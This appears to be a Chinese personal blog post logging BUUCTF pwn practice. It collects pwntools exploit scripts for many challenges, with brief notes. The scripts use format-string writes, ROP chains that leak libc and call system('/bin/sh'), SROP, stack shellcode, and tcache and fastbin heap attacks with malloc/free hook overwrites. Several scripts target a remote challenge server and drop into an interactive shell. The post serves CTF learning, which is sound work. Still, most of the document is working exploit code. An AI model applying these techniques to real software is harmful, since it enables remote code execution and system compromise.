buuctf刷题(1)

本人比较菜鸡,在这里刷题主要目的是学习,很多都是参考别人的exp

这里只有部分exp

[OGeek2019]babyrop

格式化字符串漏洞,偏移为10

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc
addr = 0x0804C044
p.recvuntil('name:')
payload = p32(addr)+'%10$n'
p.sendline(payload)
p.recvuntil('passwd:')
p.sendline(str(0x4))
p.interactive()

[OGeek2019]babyrop

‘\x00’截断跳过strcmp,然后再泄露libc地址,拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',28762)
#p = process('./pwn')
elf = ELF('pwn')
libc = ELF('libc-2.23.so')
p.sendline('\x00'+'\xff'*7)
p.recvuntil('Correct\n')
p.sendline('a'*(0xe7+4)+p32(elf.plt['puts'])+p32(0x08048825)+p32(elf.got['puts']))
libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))

p.sendline('\x00'+'\xff'*7)
p.recvuntil('Correct\n')
p.sendline('a'*(0xe7+4)+p32(libc.symbols['system']+libc_base)+p32(0)+p32(libc.search('/bin/sh').next()+libc_base))
p.interactive()

ciscn_2019_n_8

覆盖数组第14个最低位为’\x11’就行

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('node3.buuoj.cn',26525)
p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc
p.sendline(p32(0x11)*14)

p.interactive()

ciscn_2019_s_3

ctf-wiki之高级ROP

通过 gdb 调试可知栈空间大小为 16 字节,在之后我们可以来构造srop进行权限的获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
io = remote('47.111.233.219',20000)
#io=process('pwn')
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()

[HarekazeCTF2019]baby_rop

有/bin/sh,有system函数,直接rop

卧槽,这道题flag藏在/home/babyrop里面,我还以为docker出了问题

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',27652)
#p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc
p.sendline('a'*0x18+p64(0x400683)+p64(elf.search('/bin/sh').next())+p64(elf.symbols['system']))
p.interactive()

pwn2_sctf_2016

这里需要用的printf的泄露,有点玄学,我自己写的exp跑不了,拿别人的贴在这里吧

原作者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./pwn2_sctf_2016')
p = remote('node3.buuoj.cn', 28346)
elf = ELF('./pwn2_sctf_2016', checksec=False)
libc = ELF('libc-2.23_32.so', checksec=False)
addr_main = 0x080485B8
addr_format = 0x080486F8
plt_printf = elf.plt['printf']
got_printf = elf.got['printf']

pd = 'a' * 0x30
pd += p32(plt_printf)
pd += p32(addr_main)
pd += p32(addr_format)
pd += p32(got_printf)
p.sendlineafter('read? ', '-1')
p.sendlineafter('data!\n', pd)
p.recvuntil('You said: ')
p.recvuntil('You said: ')

addr_printf = u32(p.recv(4))
libcbase = addr_printf - libc.sym['printf']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x30
pd += p32(addr_system)
pd += p32(addr_main)
pd += p32(addr_bin_sh)
p.sendlineafter('read? ', '-1')
p.sendlineafter('data!\n', pd)
success('addr_printf is ' + hex(addr_printf))
p.interactive()

ez_pz_hackover_2016

memchr函数原型extern void *memchr(const void *buf, int ch, size_t count),功能:从buf所指内存区域的前count个字节查找字符ch。

没开NX保护,把shellcode写到栈上,然后ret到shellcode就可以了
这里需要计算好栈地址的加减

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
#p = remote('node3.buuoj.cn',29414)
p = process('./ez_pz_hackover_2016')
p.recvuntil('crash: ')
stack_addr = p.recv(10)
p.recvuntil('> ')
payload = str('crashme\x00').ljust(10,'\x00')
payload += 0x10*'a'+p32(int(stack_addr,16)+len(payload)+4-0x3a)+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出,rop原理,问题是无法输出print_got,连续两次pop也不能,我太难了/(ㄒoㄒ)/~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p =remote('node3.buuoj.cn',28798)
#p = process('./babyrop2')
elf = ELF('babyrop2')
libc = ELF('libc.so.6')
p.recvuntil('name? ')
payload = 'a'*0x28 #offset+rsp
payload += p64(0x400733)+p64(0x400790) #pop rdi,%s[format]
payload += p64(0x400733)+p64(elf.got['read']) #pop rdi,read_got
payload += p64(elf.plt['printf'])+p64(0x400636) #printf_plt,main_ret
p.sendline(payload)
p.recv(0x3f)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['read']
log.success('libc_base: '+hex(libc_base))
p.recvuntil('name? ')
p.sendline('a'*0x28+p64(libc_base+0x45216)) #one_gadget

p.interactive()

ciscn_2019_n_3

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
1. New note
2. Del note
3. Show note
4. Purchase Pro Edition

free函数存在执政没有置0的漏洞

这道题没有开pie,有system函数,只需要构造system(‘/bin/sh’)就可以

new函数将printf函数和delete函数写到了堆里面,劫持free函数为system地址就行

https://binlep.github.io/2019/09/11/%E3%80%90BUUCTF%E3%80%91Pwn--ciscn_2019_n_3/

https://blog.csdn.net/qq_41706924/article/details/102250897

懵逼中。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

#p = process("./pwn")
context.log_level = 'debug'
context.arch = 'x86'
p = remote('node3.buuoj.cn',25143)
elf = ELF("pwn")
def newnote(idx,type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:
p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil("CNote > ")
p.sendline(str(2))
p.recvuntil("Index > ")
p.sendline(str(idx))
def shownote(idx):
p.recvuntil("CNote > ")
p.sendline(str(3))
p.recvuntil("Index > ")
p.sendline(str(idx))
newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
newnote(2,1,0x41)
delnote(1)
delnote(2)
newnote(3,2,'bash'+p32(elf.plt['system']),0xc)
newnote(4,2,"/bin/sh\x00",0x38)
delnote(1)

p.interactive()

ciscn_2019_ne_5

可以从fflush中取得’sh’,传给system做参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc
p.recvuntil('password:')
p.sendline('administrator\x00')
p.recvuntil('0.Exit\n:')
p.sendline('1')
p.recvuntil('info:')
p.sendline('a'*0x4c+p32(elf.plt['system'])*2+p32(0x80482EA))
p.recvuntil('0.Exit\n:')
p.sendline('4')
p.interactive()

ciscn_2019_es_2

https://blog.csdn.net/github_36788573/article/details/103689296

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#io=process('ciscn_2019_es_2')

sys_plt=0x8048400

pl='a'*0x20+'bbbbbbbb'
io.send(pl)
io.recvuntil('b'*8)
ebp=u32(io.recv(4))
print(hex(ebp))
pl2=('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
io.send(pl2)

io.interactive()

roarctf_2019_easy_pwn

https://blog.csdn.net/github_36788573/article/details/103674651

因为one_gadget条件一个都不满足,需要先执行__libc_realloc去调整,所以在malloc hook填上realloc函数的地址,在realloc hook填上onegadget的地址,就满足了条件,这里根据实际情况可能malloc hook上填写的地址可能是realloc加上一个偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

io=remote('node3.buuoj.cn',26968)
libc=ELF('libc-2.23.so')

def add(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))

def edit(index,size,data):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(data)

def free(index):
io.recvuntil('choice: ')
io.sendline('3')
io.recvuntil('index:')
io.sendline(str(index))

def show(index):
io.recvuntil('choice: ')
io.sendline('4')
io.recvuntil('index:')
io.sendline(str(index))

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))
free(2)
show(1)
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a

edit(4,50,'a'*0x28+p8(0xa1))
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5
add(0x68)#6malloc_hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16))

io.interactive()

Ciscn_2019_final_2

https://binlep.github.io/2019/09/14/%E3%80%90BUUCTF%E3%80%91Pwn--ciscn_2019_final_2/

这道题在ubuntu18上做的,对于18我很少使用,算是一次学习

这道题的关键点在于文件流的知识
dup2用来复制文件描述符:int dup2(int oldfd,int newfd)
_fileno 是用来规定 fd 所指向的文件流的

所以我们只要想办法把 stdin 的 _fileno 改成 666 即可
这样在之后 scanf 就会将 fd == 666 的内容输入到&v0中
然后我们就可以输出 flag 的内容了

jarvisoj_fm

1
2
3
4
5
6
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
p = process('./fm')
p.sendline(p32(0x0804A02C)+'%11$hhn')
p.interactive()

[ZJCTF 2019]Login

https://196011564.github.io/2019/09/23/CTF-19%E5%B9%B4%E6%B5%99%E6%B1%9F%E7%9C%81%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#Exp%E5%A6%82%E4%B8%8B%EF%BC%9A

1
2
3
4
5
6
7
8
9
10
11
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./login')
p.recvuntil('username: ')
p.sendline('admin')
p.recvuntil('password: ')
payload = '2jctf_pa5sw0rd\x00'
payload += 'a'*9+'\x00'+'a'*47 + p64(0x400E88)
p.sendline(payload)
p.interactive()

[Black Watch 入群题]PWN

学习h4lo大佬的exp原理,顺便翻译了一下
栈迁移的题,先泄露后one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
elf = ELF("./spwn")
libc = ELF("libc-2.23.so")
r = remote("node3.buuoj.cn",28371)
r.recv()

payload = ""
payload += p32(1)+p32(0x080485AB)+p32(0x804A350)+p32(0x080484F6)+p32(1)+p32(elf.got['write'])+p32(4)+p32(0x08048512)+p32(0x8048513)
#payload += p32(1)+p32(pop_ebp)+p32(s+0x50)+p32(call_write)+p32(1)+p32(elf.got['write'])+p32(4)+p32(ret)+p32(main)
payload += "a"*0x30
payload += p32(0x080485AB)+p32(0x804A450)+p32(0x08048509)+p32(0)+p32(0x804A454)+p32(30)
#payload += p32(pop_ebp)+p32(s+0x150)+p32(call_read)+p32(0)+p32(s+0x154)+p32(30)
r.send(payload)
r.recv()

r.send("a"*0x18+p32(0x0804A300)+p32(0x08048511))
#r.send("a"*0x18+p32(s)+p32(leave))
addr = u32(r.recv(4)) - libc.symbols['write']
success(hex(addr))

r.sendline("H4lo")
payload = p32(addr+0x3a80c)
r.send(payload)


r.interactive()

axb_2019_fmt32

格式化字符串漏洞,主要是sprintf函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26895)
elf = ELF('axb_2019_fmt32')
libc = ELF('libc-2.23.so')
p.recv()
p.send('%9$sA'+p32(elf.got['printf']))
libc_base = u32(p.recv()[9:0xd].ljust(4,'\x00')) - libc.symbols['printf']
p.success('libc_base: '+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
printf_got = elf.got['printf']
payload ='a'*5+fmtstr_payload(9,{elf.got['printf']:0x3a80e+libc_base},write_size = "byte",numbwritten = 0xe)
p.send(payload)
p.interactive()

ciscn_2019_es_7

srop的题,学习了一下大致原理,很多地方还是不懂

http://4eriri.top/2019/08/02/ciscn-2019-es-7/

[ZJCTF 2019]EasyHeap

程序有后门,edit函数没有对size大小进行检验,存在溢出漏洞

以前做过类似题,直接进后门,尝试获取shell失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('easyheap')
elf = ELF('easyheap')
libc = elf.libc
def add(size,content):
p.sendlineafter('Your choice :',str(1))
p.sendlineafter('Heap : ',str(size))
p.sendlineafter('heap:',str(content))

def edit(idx,size,content):
p.sendlineafter('Your choice :',str(2))
p.sendlineafter('Index :',str(idx))
p.sendlineafter('Size of Heap : ',str(size))
p.sendlineafter('heap : ',str(content))

def delete(idx):
p.sendlineafter('Your choice :',str(3))
p.sendlineafter('Index :',str(idx))
add(0x68,'a')
add(0x68,'a')
add(0x68,'a')
add(0x68,'a')
delete(0)
delete(2)
edit(1,0x80,'a'*0x68+p64(0x71)+p64(0x6020b0-3))
add(0x68,'a')
add(0x68,'aaa'+'\x13\x05')
p.recv()
p.send(str(4869))
p.interactive()

ciscn_2019_es_1

漏洞:call函数里面有uaf漏洞

1.先把tcache填满,
2.show出main_arena地址,再计算出libc
3.再利用double free,改写tcache的fd指针至free_hook,再次malloc控制free_hook,写上system,free一块内容为/bin/sh的chunk获取shell。

踩坑:刚开始尝试改malloc_hook为onegadget失败,原因未知。随后尝试一位师傅改free_hook发现能成功

附上链接:http://4eriri.top/2019/08/06/ciscn-2019-es-1/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./ciscn_2019_es_1')
p = remote('node3.buuoj.cn',28957)
elf = ELF('ciscn_2019_es_1')
libc = ELF('libc-2.27.so')

def add(size,name,call):
p.sendlineafter('choice:',str(1))
p.sendlineafter('name\n',str(size))
p.sendlineafter('name:\n',str(name))
p.sendlineafter('call:\n',str(call))
def show(idx):
p.sendlineafter('choice:',str(2))
p.sendlineafter('index:\n',str(idx))

def delete(idx):
p.sendlineafter('choice:',str(3))
p.sendlineafter('index:\n',str(idx))
add(0x88,'0','0')#0
add(0x60,'1','1')#1
for i in range(8):
delete(0)
show(0)
arena_addr = u64(p.recv(0x20)[0x6:0xc].ljust(8,'\x00')) - 96
libc_base = arena_addr - 0x3ebc40
onegadget = 0x4f2c5 + libc_base
system_addr = libc.symbols['system'] + libc_base
log.success('arena_addr: '+hex(arena_addr))
log.success('libc_base: '+hex(libc_base))
log.success('onegadget: '+hex(onegadget))
add(0x60,'2','2')#2
delete(1)
delete(1)
add(0x60,p64(arena_addr+0x1ca8),'3')#3
add(0x60,'/bin/sh\x00','4')#4
add(0x60,p64(system_addr),'5')#5
delete(4)
p.interactive()

roarctf_2019_realloc_magic

官方Writeup:https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Pwn/realloc_magic/PWN%E8%A7%A3%E9%A2%98%E6%80%9D%E8%B7%AF/wp.md

realloc对于不同size,有不同的功能

1.size == 0 ,这个时候等同于free
2.realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
3.malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
4.malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

有uaf漏洞,没有show函数,思路就是劫持stdout泄露libc
但是由于realloc函数的功能,难度提高了很多

需要爆破,后面的改free_hook复现起来比较麻烦,而且本地一直不成功,就直接贴上官方wp

这道题主要学到了realloc的用法

官方wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

debug=0
#context.log_level='debug'


if debug:
p=process('./roarctf_2019_realloc_magic')
else:
p=remote('node3.buuoj.cn',26010)

def ru(x):
return p.recvuntil(x,timeout=1)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)


def realloc(sz,data,wait=True):
sl('1')
ru('Size')
sl(str(sz))
ru('Content?\n')
if sz == 0:
if wait:
ru('>>')
else:
se(data)
if wait:
ru('>>')

def delete():
sl('2')
ru('>>')

def back():
sl('666')
ru('>>')

realloc(0x68,'a')
realloc(0,'')
realloc(0x98,p64(0)*5+p64(0x21)+p64(0)*2+p64(0x20)+p64(0x21))
realloc(0,'')
realloc(0xa8,'c')
realloc(0,'')
realloc(0x98,'d')
for i in range(7):
delete()
realloc(0,'')
realloc(0x68,'e')
#realloc(0x100,'\0'*0x68+p64(0x31)+'\x60\x07\xdd')
realloc(0x100,'\0'*0x68+p64(0x31)+'\x60\x77')
realloc(0,'')
realloc(0x98,'f')
realloc(0,'')
realloc(0x98,p64(0xfbad3887)+p64(0)*3+'\0',False)

data = ru(p64(0xffffffffffffffff))
if len(data) < 10 or data[:8]!=p64(0):
exit(-1)
#gdb.attach(p)
libc = u64(data[8:16])
base = libc-0x3ed8b0
free_hook = base+0x3ed8e8
system = base+0x4f440
ru('>>')
back()

realloc(0x20,'g')
realloc(0,'')

realloc(0x100,'\0'*0x68+p64(0xa1)+p64(free_hook-8))
realloc(0,'')
realloc(0x20,'g')
realloc(0,'')
realloc(0x20,'/bin/sh\0'+p64(system))
sl('2')

print(hex(base))
p.interactive()

强网杯2019 拟态 STKOF

这类型题第一次见,网上的资料也不多

https://xz.aliyun.com/t/5532

我只找到这一篇文章是关于这题的,在最后的payload我的理解稍有不同

1
payload = 'kira'.ljust(0x110,'\x00') + p32(add_esp)+p32(0)+p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64

原理和结果都一样,但改成这样更容易理解